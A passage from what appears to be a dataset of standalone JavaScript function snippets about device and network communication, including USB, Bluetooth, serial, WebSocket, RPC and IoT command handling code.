subcommand = [0x03, 0x3f];\\n const data = [\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n ...subcommand,\\n ];\\n await this.device.sendReport(outputReportID, new Uint8Array(data));\\n }\",\n \"readFromDevice() {\\n this.device.transferIn(5, 64).then(result => {\\n const decoder = new TextDecoder();\\n this.rstring += decoder.decode(result.data);\\n // do a quick JSON smoketest (should do better with decoder/streaming)\\n const startIdx = this.rstring.indexOf('{');\\n if(startIdx > 0) this.rstring = this.rstring.substring(startIdx);\\n const endIdx = this.rstring.indexOf('}');\\n if(endIdx > -1) {\\n const parseStr = this.rstring.substring(0, endIdx+1);\\n this.rstring = this.rstring.substring(endIdx+1);\\n try {\\n const msg = JSON.parse(parseStr);\\n this._handleMessage(msg);\\n // this.dispatchEvent(new CustomEvent('ek-event', {detail:msg}), {bubbles: true});\\n } catch(e) {\\n console.log(\\\"NOT JSON:\\\",parseStr);\\n }\\n this.rstring = \\\"\\\";\\n }\\n this.readFromDevice();\\n })\\n .catch(error => { \\n console.log(error);\\n this.emitMessage(this.device.serialNumber, \\\"\\\");\\n this.emitDisconnected(this.device.serialNumber);\\n this.device = null;\\n this.rstring = \\\"\\\";\\n });\\n }\",\n \"function arduinoTest() {\\n return request;\\n}\",\n \"function cerial() {\\n getPortInfo()\\n .then( (portDetails) => handleSensor(portDetails))\\n .catch((error) => console.log(error));\\n // port.write('ROBOT PLEASE RESPOND\\\\n');\\n // The parser will emit any string response\\n}\",\n \"function sendData(blob) {\\n\\n\\t// sends data to flask url /upload_sound as a post with data blob - in format for wav file, hopefully. it is a promise\\n\\tfetch(\\\"/upload_sound\\\", {\\n\\tmethod: \\\"post\\\",\\n\\tbody: blob\\n\\t});\\n}\",\n \"function requestDevStatus() {\\n if(mConnectedToDev) {\\n return;\\n }\\n\\n mNbReqStatusRetry++;\\n if(mNbReqStatusRetry >= 6) {\\n logger.warn('[ctrl-test] Request device status without response. Stop!');\\n return;\\n }\\n\\n devComm.sendStatusReportReq(SelectedGW);\\n\\n setTimeout(requestDevStatus, 5*1000);\\n\\n }\",\n \"async sendBinaryRequest(path, params) {\\n if (LibraryUtils.getLogLevel() >= 2) console.log(\\\"sendBinaryRequest(\\\" + path + \\\", \\\" + JSON.stringify(params) + \\\")\\\");\\n \\n // load wasm module\\n await LibraryUtils.loadKeysModule();\\n \\n // serialize params\\n let paramsBin = MoneroUtils.jsonToBinary(params);\\n \\n try {\\n \\n // send http request\\n let resp = await HttpClient.request({\\n method: \\\"POST\\\",\\n uri: this.getUri() + '/' + path,\\n username: this.getUsername(),\\n password: this.getPassword(),\\n body: paramsBin,\\n rejectUnauthorized: this.config.rejectUnauthorized,\\n requestApi: GenUtils.isFirefox() ? \\\"xhr\\\" : \\\"fetch\\\"\\n });\\n \\n // validate response\\n MoneroRpcConnection.validateHttpResponse(resp);\\n \\n // process response\\n resp = resp.body;\\n if (!(resp instanceof Uint8Array)) {\\n console.error(\\\"resp is not uint8array\\\");\\n console.error(resp);\\n }\\n if (resp.error) throw new MoneroRpcError(resp.error.message, resp.error.code, path, params);\\n return resp;\\n } catch (err) {\\n if (err instanceof MoneroRpcError) throw err;\\n else throw new MoneroRpcError(err, undefined, path, params);\\n }\\n }\",\n \"function transmitAudioHexBytes(audioBlob) {\\n\\tvar myReader = new FileReaderSync(); // FIX - Firefox does not support\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t// FileReader()\\n\\tvar arrayBuffer = myReader.readAsArrayBuffer(audioBlob);\\n\\tvar binaryHexData = buildMessage(\\\"DATA\\\", \\\"\\\");\\n\\tvar view = new DataView(arrayBuffer);\\n\\tvar viewLen = view.byteLength;\\n\\tfor (var i = 0; i < viewLen; binaryHexData += (\\\"00\\\" + view.getUint8(i++)\\n\\t\\t\\t.toString(16)).substr(-2).toUpperCase())\\n\\t\\t;\\n\\tconsole.log(\\\"socketSend@main \\\" + binaryHexData.length);\\n\\twsSnd.send(binaryHexData);\\n}\",\n \"function chromeAppMessageHandler(response) {\\n console.debug(response);\\n switch (response.responder) {\\n case \\\"list\\\":\\n const list_html = generateDropDownList(response.data);\\n document.querySelector(\\\"#device-select\\\").innerHTML = list_html;\\n document.querySelector(\\\"#device-select\\\").dispatchEvent(change_event);\\n break;\\n case \\\"connect\\\":\\n device_connected = true;\\n $(\\\"#connect\\\")\\n .removeClass(\\\"btn-outline-success\\\")\\n .addClass(\\\"btn-outline-danger\\\")\\n .text(\\\"Disconnect\\\");\\n document.querySelector(\\\"#baudrate\\\").setAttribute(\\\"disabled\\\", \\\"disabled\\\");\\n document\\n .querySelector(\\\"#device-select\\\")\\n .setAttribute(\\\"disabled\\\", \\\"disabled\\\");\\n break;\\n case \\\"disconnect\\\":\\n // TODO(kammce): Actually evaluate that the device has connected properly\\n device_connected = false;\\n table_init = false;\\n telemetry_raw = \\\"\\\\r\\\\n\\\";\\n $(\\\"#connect\\\")\\n .addClass(\\\"btn-outline-success\\\")\\n .removeClass(\\\"btn-outline-danger\\\")\\n .text(\\\"Connect\\\");\\n document.querySelector(\\\"#baudrate\\\").removeAttribute(\\\"disabled\\\");\\n document.querySelector(\\\"#device-select\\\").removeAttribute(\\\"disabled\\\");\\n $(\\\"#refresh\\\").click();\\n break;\\n case \\\"update\\\":\\n break;\\n case \\\"read\\\":\\n term.write(response.data.replace(/\\\\n/g, \\\"\\\\r\\\\n\\\"));\\n break;\\n default:\\n console.warn(\\\"Unknown response\\\");\\n break;\\n }\\n}\",\n \"_pingDevice () {\\n this._ble.read(\\n BoostBLE.service,\\n BoostBLE.characteristic,\\n false\\n );\\n }\",\n \"sendFormatDataResponsePDU() {\\n\\n const bufs = Buffer.from(this.content + '\\\\x00', 'ucs2');\\n\\n this.send(new type.Component({\\n msgType: new type.UInt16Le(data.ClipPDUMsgType.CB_FORMAT_DATA_RESPONSE),\\n msgFlags: new type.UInt16Le(0x01),\\n dataLen: new type.UInt32Le(bufs.length),\\n requestedFormatData: new type.BinaryString(bufs, { readLength: new type.CallableValue(bufs.length) })\\n }));\\n\\n }\",\n \"function HandleData(data)\\n{\\n var avrNum = this.avrNum;\\n if (avrNum == null) {\\n Log('Data from unknown device!');\\n return;\\n }\\n var str = data.toString();\\n // wait for null at end of string\\n var j = str.indexOf('\\\\0');\\n if (j > -1) str = str.substr(0, j); // remove null\\n // process each response separately\\n var lines = str.split(\\\"\\\\n\\\");\\n var id;\\n for (j=0; j= 4 && str.substr(1,1) == '.') {\\n id = str.substr(0,1);\\n str = str.substr(2);\\n }\\n if (id != 'e') {\\n if (str.substr(0,2) != 'OK') {\\n Log('AVR'+avrNum, 'Bad response:', str);\\n continue;\\n }\\n str = str.substr(3);\\n }\\n // ignore truncated responses (may happen at startup if commands\\n // were sent before AVR was fully initialized)\\n if (!id) continue;\\n avrOK[avrNum] = 1;\\n avrNum = HandleResponse(avrNum, id, str);\\n }\\n}\",\n \"function appxsendfilehandler(x) {\\r\\n if (appxIsLocalReady()) {\\r\\n switch (x.messagepart) {\\r\\n case -1:\\r\\n var msgfilenamedata = [];\\r\\n var filepath = appx_session.currsendfile.filename;\\r\\n appxClearStatusMsgText();\\r\\n appxSetStatusText(\\\"Saving File...\\\");\\r\\n appx_session.currsendfile.filedata = [];\\r\\n setTimeout(function setTimeout1() {\\r\\n //send client file path length\\r\\n var ms = {\\r\\n cmd: 'appxmessage',\\r\\n args: hton32(filepath.length),\\r\\n handler: 'appxsendfilehandler',\\r\\n data: null\\r\\n };\\r\\n appx_session.ws.send(JSON.stringify(ms));\\r\\n //send client file path\\r\\n for (var vi = 0; vi < filepath.length; vi++) {\\r\\n msgfilenamedata.push(filepath.charCodeAt(vi));\\r\\n }\\r\\n var ms = {\\r\\n cmd: 'appxmessage',\\r\\n args: msgfilenamedata,\\r\\n handler: 'appxsendfilehandler',\\r\\n data: null\\r\\n };\\r\\n appx_session.ws.send(JSON.stringify(ms));\\r\\n //send client status EOF\\r\\n var ms = {\\r\\n cmd: 'appxmessage',\\r\\n args: [3, 1],\\r\\n handler: 'appxsendfilehandler',\\r\\n data: null\\r\\n };\\r\\n appx_session.ws.send(JSON.stringify(ms));\\r\\n appxClearStatusMsgText();\\r\\n appxSetStatusText(\\\"File Download Complete...\\\");\\r\\n setTimeout(function setTimeout2() {\\r\\n if ($(\\\"#appx-status-msg\\\").html() === \\\"File Download Complete...\\\") {\\r\\n appxClearStatusMsgText();\\r\\n }\\r\\n }, 1000);\\r\\n }, appx_session.currsendfile.blocksreceived * 1); //end setTimeout\\r\\n\\r\\n break;\\r\\n case 3:\\r\\n appx_session.currsendfile.filename = x.data.filename;\\r\\n appx_session.currsendfile.guid = Math.floor((Math.random() * 1000000) + 1);\\r\\n appx_session.currsendfile.filedatareceived = 0;\\r\\n appx_session.currsendfile.blocksreceived = 0;\\r\\n appx_session.currsendfile.datalengthneeded = x.data.datalength;\\r\\n if (appx_session.currsendfile.filename.indexOf(\\\"$(\\\") > -1) {\\r\\n appx_session.currsendfile.filename = appx_session.parseOption(appx_session.currsendfile.filename);\\r\\n }\\r\\n else {\\r\\n appx_session.currsendfile.filename = appx_session.currsendfile.filename;\\r\\n }\\r\\n if (appx_session.currsendfile.filename.indexOf(\\\"/\\\") == -1 && appx_session.currsendfile.filename.indexOf(\\\"\\\\\\\\\\\") == -1) {\\r\\n appx_session.currsendfile.filename = appx_session.parseOption(\\\"$(userHome)\\\" + appx_session.fileseparatorchar + appx_session.currsendfile.filename);\\r\\n }\\r\\n appxClearStatusMsgText();\\r\\n appxSetStatusText(\\\"Creating File: \\\" + appx_session.currsendfile.filename);\\r\\n appx_session.currsendfile.filecreated = false;\\r\\n CreateFile(appx_session.currsendfile);\\r\\n break;\\r\\n case 5:\\r\\n appx_session.currsendfile.blocksreceived += 1;\\r\\n appx_session.currsendfile.filedatareceived += x.data.length;\\r\\n appxClearStatusMsgText();\\r\\n appxSetStatusText(\\\"File Downloading... Received: \\\" + appx_session.currsendfile.filedatareceived + \\\" Bytes of \\\" + appx_session.currsendfile.datalengthneeded.toString() + \\\" Needed\\\");\\r\\n AppendFile(x.data);\\r\\n break;\\r\\n\\r\\n default:\\r\\n //append data to file via local connector\\r\\n break;\\r\\n }\\r\\n }\\r\\n else {\\r\\n //send client status EOF\\r\\n if (x.messagepart != -1) {\\r\\n var ms = {\\r\\n cmd: 'appxmessage',\\r\\n args: [0, 0],\\r\\n handler: 'appxsendfilehandler',\\r\\n data: null\\r\\n };\\r\\n appx_session.ws.send(JSON.stringify(ms));\\r\\n }\\r\\n }\\r\\n}\",\n \"function readSerialData(data) {\\n console.log(data.toString());\\n sendit({method: 'data', data: data.toString()});\\n}\",\n \"function performPowerActionResponse(stack, name, responses, status) {\\n const dev = stack.dev;\\n const action = dev.powerAction;\\n delete dev.powerAction;\\n if (obj.amtDevices[dev.nodeid] == null) return; // Device no longer exists, ignore this response.\\n if (status != 200) return;\\n\\n // If this is Intel AMT 10 or higher and we are trying to wake the device, send an OS wake.\\n // This will wake the device from \\\"Modern Standby\\\".\\n if ((action == 2) && (dev.aquired.majorver > 9)) {\\n try { dev.amtstack.RequestOSPowerStateChange(2, function (stack, name, response, status) { }); } catch (ex) { }\\n }\\n }\",\n \"async function sendPicture() {\\n const req = {\\n imagebytes: bas64,\\n }\\n alert('Enviado com sucesso');\\n }\",\n \"async function enableBloodPressure() {\\n const command = hexToBase64(\\\"55 aa 04 02 01 f8\\\");\\n // console.log(\\\"TCL: enableBloodPressure -> command\\\", command)\\n const didWrite = await Bluetooth.writeToDevice(command);\\n // console.log(\\\"TCL: enableBloodPressure -> didWrite\\\", didWrite)\\n return didWrite;\\n}\",\n \"function transferByte(b) {\\n\\treturn new Promise((resolve, reject) => {\\n\\t\\tlet txBuff = new Buffer([reverseByte(b)]);\\n\\t\\tlet rxBuff = new Buffer(1);\\n\\t\\tRPIO.spiTransfer(txBuff, rxBuff, 1);\\n resolve(reverseByte(rxBuff[0]));\\n\\t});\\n}\",\n \"function fx000(res) {\\n global.clog(\\\"[ss_reqHan][fx000][SENT]\\\");\\n res.writeHead(200, { \\\"Content-Type\\\": \\\"audio/wav\\\" }); \\n var sendingfile = fs.readFileSync(views.sfx() + '/fx000.wav');\\n res.write(sendingfile);\\n res.end();\\n}\",\n \"async function requestBLEDevice(){\\n let result = Promise.resolve()\\n if (ble.connected == false){\\n console.log('Requesting ble device...')\\n wdm('Requesting bluetooth device list')\\n // let options = {filters: [ {name: ble.name}, {services:[ ble.customserviceUUID ]} ]}\\n let options = {filters: [ {namePrefix: ble.namePrefix}, {services:[ ble.customserviceUUID ]} ]}\\n\\n try{\\n device = await navigator.bluetooth.requestDevice(options)\\n console.log(\\\"found a device\\\",device)\\n console.log(device.name)\\n console.log(device.uuids)\\n var textstr = \\\"found a device name: \\\" + device.name + \\\"
\\\" + \\\"id: \\\" + device.id\\n ble.statustext = textstr\\n \\n ble.device=device\\n ble.device.addEventListener('gattserverdisconnected',onDisconnectedBLE)\\n }\\n catch(error){\\n if (ble.connected == false){\\n var textstr = 'Still waiting for user to select device'\\n console.log(textstr)\\n ble.statustext = ble.statustext + \\\"
\\\" + textstr\\n \\n return error\\n }\\n }\\n }\\n return result\\n}\",\n \"inbound(count, obj) {\\n console.log(`vat-http.inbound (from browser) ${count}`, obj);\\n const p = Promise.resolve(handler[obj.type](obj));\\n p.then(\\n res => D(commandDevice).sendResponse(count, false, harden(res)),\\n rej => D(commandDevice).sendResponse(count, true, harden(rej)),\\n );\\n }\",\n \"function send_button_state(hex_state) {\\n $.ajax({\\n url: \\\"webpower/set/\\\" + hex_state,\\n success: function() {\\n console.log(\\\"sent: \\\" + hex_state)\\n },\\n });\\n }\",\n \"actuateBell(req, res) {\\n const keyValuePairs = req.body.split('|') || [''];\\n const command = getUltralightCommand(keyValuePairs[0]);\\n const deviceId = 'bell' + req.params.id;\\n const result = keyValuePairs[0] + '| ' + command;\\n\\n if (IoTDevices.notFound(deviceId)) {\\n return res.status(404).send(result + NOT_OK);\\n } else if (IoTDevices.isUnknownCommand('bell', command)) {\\n return res.status(422).send(result + NOT_OK);\\n }\\n\\n // Update device state\\n IoTDevices.actuateDevice(deviceId, command);\\n return res.status(200).send(result + OK);\\n }\",\n \"send(msg) {\\n if (this.connectionId < 0) {\\n throw 'Invalid connection';\\n }\\n chrome.serial.send(this.connectionId, str2ab(msg), function () {\\n });\\n }\",\n \"function sendPost(data, callback) {\\nvar options = {\\n host: 'ws.audioscrobbler.com',\\n path: '/2.0/',\\n method: 'POST',\\n headers: {\\n 'Content-Type': 'application/x-www-form-urlencoded',\\n 'Content-Length': data.length\\n }\\n }\\n , doPOST = http.request(options, function(request) {\\n var reqReturn = ''\\n request.setEncoding('utf8')\\n request.on('data', function(chunk) {\\n reqReturn += chunk\\n })\\n request.on('end', function() {\\n // console.log('[POST RESPONSE] : ' + reqReturn)\\n if (typeof(callback) == 'function')\\n callback(reqReturn)\\n })\\n }).on('error', function(err) {\\n // TODO\\n })\\ndoPOST.write(data)\\ndoPOST.end()\\n}\",\n \"function sendPostResponse() {\\n\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\tvar delaySend = false;\\n\\t\\t\\t\\t\\t// build appropriate response\\n\\t\\t\\t\\t\\tswitch(command) {\\n\\t\\t\\t\\t\\t\\tcase 'end':\\n\\t\\t\\t\\t\\t\\tcase 'continue':\\n\\t\\t\\t\\t\\t\\t\\tutils.info('server : Building \\\"continue\\\" response');\\n\\t\\t\\t\\t\\t\\tcase 'start':\\n\\t\\t\\t\\t\\t\\t\\tmessage = {Op:'ok', id:deviceId};\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t\\tcase 'device_ready':\\n\\t\\t\\t\\t\\t\\t\\tutils.info('server : Building \\\"device_ready\\\" response:');\\n\\t\\t\\t\\t\\t\\t\\tvar task = device.taskGroup.getNextTest();\\n\\t\\t\\t\\t\\t\\t\\tif(task) {\\n\\t\\t\\t\\t\\t\\t\\t\\tutils.info('\\\\tSending next task: ' + task);\\n\\t\\t\\t\\t\\t\\t\\t\\tmessage = {Op:'ok', test:task};\\n\\t\\t\\t\\t\\t\\t\\t} else { // no more tasks, report\\n\\n\\t\\t\\t\\t\\t\\t\\t\\tutils.info('server : Is test done: ' + clientConnection.isTestDone);\\n\\t\\t\\t\\t\\t\\t\\t\\tif(!clientConnection.isTestDone) {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tutils.info('server : setting istestdone to true');\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tclientConnection.isTestDone = true;\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tclientConnection.reporter.createReport();\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tif(File.exists(path.join(END_GAME_LOCATION, 'Code', 'Main.js'))) {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tutils.info('\\\\tSending EndGame');\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tmessage = {Op:'ok', test:'/' + END_GAME_LOCATION};\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t\\t\\t\\tutils.info('is the next test ready?',\\n\\t\\t\\t\\t\\t\\t\\t\\t clientConnection.isNextTestReady);\\n\\t\\t\\t\\t\\t\\t\\t\\tif(clientConnection.isNextTestReady) {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tclientConnection.isTestDone = false;\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tclientConnection.isNextTestReady = false;\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tdevice.taskGroup.restart();\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tutils.info('\\\\tNo more tasks.');\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tmessage = {Op:'nada'};\\n\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\tcase 'sdk_social_test_start':\\n\\t\\t\\t\\t\\t\\t\\tutils.info('Adding US Social test set');\\n\\t\\t\\t\\t\\t\\t\\tdevice.addToTaskGroup(AUTO_SDK_SOCIAL_TEST_LOC);\\n\\t\\t\\t\\t\\t\\t\\tmessage = {Op:'ok'};\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\tcase 'social_test_start':\\n\\t\\t\\t\\t\\t\\t\\tutils.info('setting tests to social_test_start');\\n\\t\\t\\t\\t\\t\\t\\tdevice.setTaskGroup('Social_Tests', AUTO_SOCIAL_TEST_LOC);\\n\\t\\t\\t\\t\\t\\t\\tmessage = {Op:'ok'};\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\tcase 'task_finished':\\n\\t\\t\\t\\t\\t\\tcase 'log_start':\\n\\t\\t\\t\\t\\t\\t\\tmessage = {Op:'ok'};\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\tcase 'log_end':\\n\\t\\t\\t\\t\\t\\t\\t// hold off on sending response if previous messages\\n\\t\\t\\t\\t\\t\\t\\t// have yet to be received\\n\\t\\t\\t\\t\\t\\t\\tif(clientConnection.isLogFinished()) {\\n\\t\\t\\t\\t\\t\\t\\t\\tmessage = {Op:'ok'};\\n\\t\\t\\t\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t\\t\\t\\t// if previous message never gets resent, we need to send\\n\\t\\t\\t\\t\\t\\t\\t\\t// the response after a timeout\\n\\t\\t\\t\\t\\t\\t\\t\\tif(delaySend === false) {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tsetTimeout(function () {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tif(clientConnection.isDelayedResponseSet() === true) {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tutils.info('Did not receive all past messages in 2 minutes --> sending response (' + deviceId + ')');\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tclientConnection.flush();\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tclientConnection.sendDelayedResponse();\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t}, 120000);\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tdelaySend = true;\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tclientConnection.setDelayedResponse(response);\\n\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\tdefault:\\n\\t\\t\\t\\t\\t\\t\\tmessage = '';\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\n\\t\\t\\t\\t\\tif(!delaySend) {\\n\\t\\t\\t\\t\\t\\tsendResponse(200, message);\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t}\",\n \"function transmit(fullBuffer) {\\n\\twsSnd.send(\\\"\\\" + fullBuffer.length + \\\" \\\");\\n\\tvar siz = 2048;\\n\\tvar idx, tmpBuf;\\n\\tfor (idx = 0; idx <= fullBuffer.length; idx += siz) {\\n\\t\\ttmpBuf = fullBuffer.slice(idx, idx + siz);\\n\\t\\twsSnd.send(tmpBuf);\\n\\t}\\n\\tif (idx != fullBuffer.length) {\\n\\t\\ttmpBuf = fullBuffer.slice(idx, fullBuffer.length);\\n\\t\\twsSnd.send(tmpBuf);\\n\\t}\\n\\twsSnd.send(\\\" \\\");\\n\\tconsole.log(\\\"TRANSMIT START\\\");\\n}\",\n \"function btn_OnTouch() {\\n bt.Connect(\\\"SerialBT\\\");\\n}\",\n \"XXX_start_dfu(program_mode , image_size_packet) { //see sendStartPacket\\n return new Promise((resolve, reject) => {\\n var BAprogram_mode = Buffer.alloc( 1, [ (program_mode & 0x000000ff) ]);\\n console.log(\\\"Sending 'START DFU' command\\\");\\n this._send_control_data(/*DfuOpcodesBle.START_DFU*/ 0x01, BAprogram_mode) // 0x01 0x04\\n .then( () => this._send_packet_data(image_size_packet) )\\n .then( () => this.waitForControlNotify( /*this.get_received_response, true, 10.0, 'response for START DFU'*/) )\\n .then( () => {/*console.log('$%#&%#&%#%#%#');*/ resolve() }) ////WTFWTFWTF\\n //TODO .then( () => this._clear_received_response() )\\n });\\n }\",\n \"function systemCommandResponseCallback(error, stdout, stderr)\\n {\\n var responseString =\\n 'stdout: ' + pipeToString(stdout)\\n + 'stderr: ' + pipeToString(stderr)\\n + 'error: ' + error;\\n\\n \\t// Write the response and close the request\\n\\t\\tserverResponse.writeHead(200, { \\\"Content-Type\\\": \\\"text/plain\\\" });\\n\\t\\tserverResponse.end(\\\"RPi RESPONSE:\\\\n\\\" + responseString);\\n serverResponse.end();\\n }\",\n \"async postAPI(url, values) {\\n\\t\\tthis.log.debug('Post API called for : ' + url + ' and values : ' + JSON.stringify(values));\\n\\t\\ttry {\\n\\t\\t\\tconst result = axios.post(url, values)\\n\\t\\t\\t\\t.then((response) => {\\n\\t\\t\\t\\t\\treturn response.data;\\n\\t\\t\\t\\t})\\n\\t\\t\\t\\t.catch((error) => {\\n\\t\\t\\t\\t\\tthis.log.error('Sending command to WLED device + ' + url + ' failed with error ' + error);\\n\\t\\t\\t\\t\\treturn error;\\n\\t\\t\\t\\t});\\n\\t\\t\\treturn result;\\n\\t\\t} catch (error) {\\n\\t\\t\\tthis.log.error(error);\\n\\t\\t}\\n\\t}\",\n \"function onRequest(request, response){\\r\\n\\tvar command = request.headers[\\\"command\\\"]\\r\\n\\tvar deviceIP = request.headers[\\\"tplink-iot-ip\\\"]\\r\\n\\tvar cmdRcvd = \\\"\\\\n\\\\r\\\" + new Date() + \\\"\\\\r\\\\nIP: \\\" + deviceIP + \\\" sent command \\\" + command\\r\\n\\tconsole.log(\\\" \\\")\\r\\n\\tconsole.log(cmdRcvd)\\r\\n\\tswitch(command) {\\r\\n\\t\\t//---- (BridgeDH - Poll for Server APP ------------------\\r\\n\\t\\tcase \\\"pollServer\\\":\\r\\n\\t\\t\\tresponse.setHeader(\\\"cmd-response\\\", \\\"ok\\\")\\r\\n\\t\\t\\tresponse.end()\\r\\n\\t\\t\\tvar respMsg = \\\"Server Poll response sent to SmartThings\\\"\\r\\n\\t\\t\\tconsole.log(respMsg)\\r\\n\\t\\tbreak\\r\\n\\r\\n\\t\\t//---- TP-Link Device Command ---------------------------\\r\\n\\t\\tcase \\\"deviceCommand\\\":\\r\\n\\t\\t\\t//----- Simulated power data Selection ----------------------\\r\\n\\t\\t\\tvar command = request.headers[\\\"tplink-command\\\"]\\r\\n\\t\\t\\tvar action = request.headers[\\\"action\\\"]\\r\\n\\t\\t\\tif (action == \\\"onWatts\\\") {\\r\\n\\t\\t\\t\\tresponse.setHeader(\\\"action\\\", \\\"energyMeterResponse\\\")\\r\\n\\t\\t\\t\\tresponse.setHeader(\\\"cmd-response\\\", onWatts)\\r\\n\\t\\t\\t\\tresponse.end()\\r\\n\\t\\t\\t} else if (action == \\\"offWatts\\\") {\\r\\n\\t\\t\\t\\tresponse.setHeader(\\\"action\\\", \\\"energyMeterResponse\\\")\\r\\n\\t\\t\\t\\tresponse.setHeader(\\\"cmd-response\\\", offWatts)\\r\\n\\t\\t\\t\\tresponse.end()\\r\\n\\t\\t\\t} else {\\r\\n\\t\\t\\t//----- Real data ----------------------\\r\\n\\t\\t\\t\\tprocessDeviceCommand(request, response)\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\tbreak\\r\\n\\t\\r\\n\\t\\t//---- Energy Meter Simulated Data Return ---------------\\r\\n\\t\\tcase \\\"emeterCmd\\\":\\r\\n\\t\\t\\tvar action = request.headers[\\\"action\\\"]\\r\\n\\t\\t\\tvar engrCmd = action.substring(0,3)\\r\\nconsole.log(\\\"engrCmd = \\\" + engrCmd)\\r\\n\\t\\t\\tvar engrData = action.substring(3)\\r\\nconsole.log(\\\"engrData = \\\" + engrData)\\r\\n\\t\\t\\tif (engrCmd == \\\"Con\\\") {\\r\\n\\t\\t\\t\\tresponse.setHeader(\\\"action\\\", \\\"useTodayResponse\\\")\\r\\n\\t\\t\\t} else {\\r\\n\\t\\t\\t\\tresponse.setHeader(\\\"action\\\", \\\"engrStatsResponse\\\")\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\tvar respData = \\\"\\\"\\r\\n\\t\\t\\tswitch(engrData) {\\r\\n\\t\\t\\t\\tcase \\\"DecWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = DecWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"DecMWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = DecMWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"JanWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = JanWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"JanMWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = JanMWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"FebWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = FebWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"FebMWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = FebMWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"MarWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = MarWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"MarMWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = MarMWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"Day1Watts\\\":\\r\\n\\t\\t\\t\\t\\trespData = Day1Watts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"Day1MWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = Day1MWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"Day2Watts\\\":\\r\\n\\t\\t\\t\\t\\trespData = Day2Watts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"Day2MWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = Day2MWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"Day3Watts\\\":\\r\\n\\t\\t\\t\\t\\trespData = Day3Watts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"Day3MWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = Day3MWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tdefault:\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t}\\r\\nconsole.log(respData)\\r\\n\\t\\t\\tresponse.setHeader(\\\"cmd-response\\\", 